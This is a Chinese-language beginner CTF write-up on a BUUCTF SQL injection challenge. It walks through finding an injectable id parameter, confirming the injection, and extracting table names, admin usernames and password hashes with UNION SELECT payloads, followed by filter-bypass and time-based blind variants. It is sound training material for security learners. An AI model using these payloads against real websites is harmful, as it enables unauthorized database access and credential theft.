新手也能看懂的BUUCTF SQL注入实战:从热点链接挖出后台数据库
新手也能看懂的BUUCTF SQL注入实战:从热点链接挖出后台数据库
在CTF竞赛中,SQL注入一直是Web安全领域的经典题型。但很多新手往往只盯着登录框反复尝试,却忽略了页面上那些看似无关的"热点新闻"、"最新动态"等链接。本文将带你以侦探视角,从非常规入口挖掘隐藏的SQL注入漏洞。
1. 突破思维定式:寻找非常规注入点
传统SQL注入教学往往从登录框开始,但实战中,聪明的开发者会对这些明显入口做严格过滤。真正的漏洞可能藏在你想不到的地方:
- 页面上的次要链接:如"公司新闻"、"产品详情"
- URL中的id参数:
content_detail.php?id=1这类动态内容加载 - 分页参数:
page=1&size=10等看似无害的查询
以BUUCTF这道题为例,登录框经过加固无法注入,但左侧"热点推荐"区域却暗藏玄机。点击后观察URL变化:
原始URL: https://example.com/index.php 跳转后: https://example.com/backend/content_detail.php?id=1关键发现:id=1这个参数极可能存在SQL拼接,成为新的突破口。
2. 漏洞确认:从参数到注入点
确认注入点的核心思路是构造差异化的响应。对于数字型参数,经典测试步骤如下:
基础测试:
id=1 and 1=1→ 正常显示id=1 and 1=2→ 无结果(说明条件语句被执行)
过滤检测:
id=1 or 1=1 -- 测试OR是否被过滤 id=1' -- 测试单引号处理列数探测:
id=1 order by 1 -- 正常 id=1 order by 2 -- 正常 id=1 order by 3 -- 报错(确认共2列)
注意:现代Web应用可能返回统一错误页面,此时需要观察响应时间或细微内容差异。
3. 数据提取:从显位到数据库
确认漏洞后,通过联合查询逐步获取数据:
3.1 确定显位点
id=-1 union select 1,2 -- 让原查询无结果,显示union后的内容若页面显示数字2,说明第二列是输出点。
3.2 获取数据库信息
| 查询目标 | SQL语句示例 | 结果示例 |
|---|---|---|
| 当前数据库 | union select 1,database() | news |
| 所有表名 | union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='news') | admin,contents |
| 表字段 | union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='admin') | id,username,password |
3.3 提取关键凭证
-- 获取管理员账号 id=-1 union select 1,(select group_concat(username) from admin) -- 获取密码哈希 id=-1 union select 1,(select group_concat(password) from admin)此时获得密码哈希dba223cce96cb458550d0d195bdb2386,可通过破解或直接用于登录。
4. 防御绕过与高级技巧
当遇到基础注入被过滤时,可尝试以下方法:
注释符绕过:
id=1/**/and/**/1=1大小写混合:
id=1 aNd 1=1等价函数替换:
id=1 && 1=1 -- MySQL可用&&替代AND时间盲注(当无显错时):
id=1 and if(ascii(substr(database(),1,1))>100,sleep(3),0)
5. 实战思维培养
真正的安全测试不在于记住payload,而在于建立系统化的探测思路:
全面信息收集:
- 使用浏览器开发者工具观察所有网络请求
- 检查robots.txt、sitemap.xml等文件
- 分析JS代码中的API端点
参数敏感性测试:
- 修改每个参数值观察响应变化
- 尝试添加引号、括号等特殊字符
- 测试参数是否参与SQL执行
非常规入口挖掘:
- 搜索功能
- 排序参数
- 导出功能
- 任何接收用户输入的位置
在最近的一次内部测试中,我们通过一个简单的"忘记密码"功能中的邮箱参数,最终获取了整个用户数据库的访问权限。这再次证明,漏洞往往存在于开发者认为"不重要"的功能中。
